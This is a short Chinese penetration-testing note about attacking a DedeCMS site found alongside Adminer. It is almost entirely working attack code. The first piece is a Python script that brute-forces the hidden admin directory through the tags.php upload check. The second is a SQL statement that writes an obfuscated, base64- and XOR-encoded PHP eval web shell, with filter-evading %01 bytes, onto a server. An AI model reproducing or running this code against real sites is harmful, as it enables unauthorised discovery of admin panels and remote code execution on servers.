记一次偶遇Adminer

import requestsimport itertoolscharacters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"back_dir = ""flag = 0url = "http://www.test.com/tags.php"data = {    "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",    "_FILES[mochazz][name]" : 0,    "_FILES[mochazz][size]" : 0,    "_FILES[mochazz][type]" : "image/gif"}
for num in range(1,7):    if flag:        break    for pre in itertools.permutations(characters,num):        pre = ''.join(list(pre))        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)        print("testing",pre)        r = requests.post(url,data=data)        if "Upload filetype not allow !" not in r.text and r.status_code == 200:            flag = 1            back_dir = pre            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"            break        else:            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"print("[+] 前缀为：",back_dir)flag = 0for i in range(30):    if flag:        break    for ch in characters:        if ch == characters[-1]:            flag = 1            break        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)        r = requests.post(url, data=data)        if "Upload filetype not allow !" not in r.text and r.status_code == 200:            back_dir += ch            print("[+] ",back_dir)            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"            break        else:            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("后台地址为：",back_dir)

http://www.yulegeyu.com/2018/09/20/dedecms-guess-admin-username-trick/

select '<?php //"%0A$a="ICAgIHNlc3Npb25fc3RhcnQoKTsKICAgIEBzZXRfdGltZV9saW1pdCgwKTsKCUBlcnJvcl9yZXBvcnRpbmcoMCk7CiAgICBmdW5jdGlvbiBFKCRELCRLKXsKICAgICAgICBmb3IoJGk9MDskaTxzdHJsZW4oJEQpOyRpKyspIHsKICAgICAgICAgICAgJERbJGldID0gJERbJGldXiRLWyRpKzEmMTVdOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJEQ7CiAgICB9CiAgICBmdW5jdGlvbiBRKCREKXsKICAgICAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkRCk7CiAgICB9CiAgICBmdW5jdGlvbiBPKCREKXsKICAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgkRCk7CiAgICB9CiAgICAkUD0nd2hvYW1pJzsKICAgICRWPSdwYXlsb2FkJzsKICAgICRUPScxYjA2NzliZTcyYWQ5NzZhJzsKICAgIGlmIChpc3NldCgkX1BPU1RbJFBdKSl7CiAgICAgICAgJEY9TyhFKE8oJF9QT1NUWyRQXSksJFQpKTsKICAgICAgICBpZiAoaXNzZXQoJF9TRVNTSU9OWyRWXSkpewogICAgICAgICAgICAkTD0kX1NFU1NJT05bJFZdOwogICAgICAgICAgICAkQT1leHBsb2RlKCd8JywkTCk7CiAgICAgICAgICAgIGNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIG52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgICAgICAgICAgJFI9bmV3IEMoKTsKCQkJJFItPm52b2tlKCRBWzBdKTsKICAgICAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRQLiRUKSwwLDE2KTsKICAgICAgICAgICAgZWNobyBRKEUoQHJ1bigkRiksJFQpKTsKICAgICAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRQLiRUKSwxNik7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRfU0VTU0lPTlskVl09JEY7CiAgICAgICAgfQogICAgfQ==";eval%01(base64_decode%01($a));//"; ?>'

https://www.hetianlab.com/expc.do?ec=ECIDe907-9309-4de6-8b4d-b941b34caa1c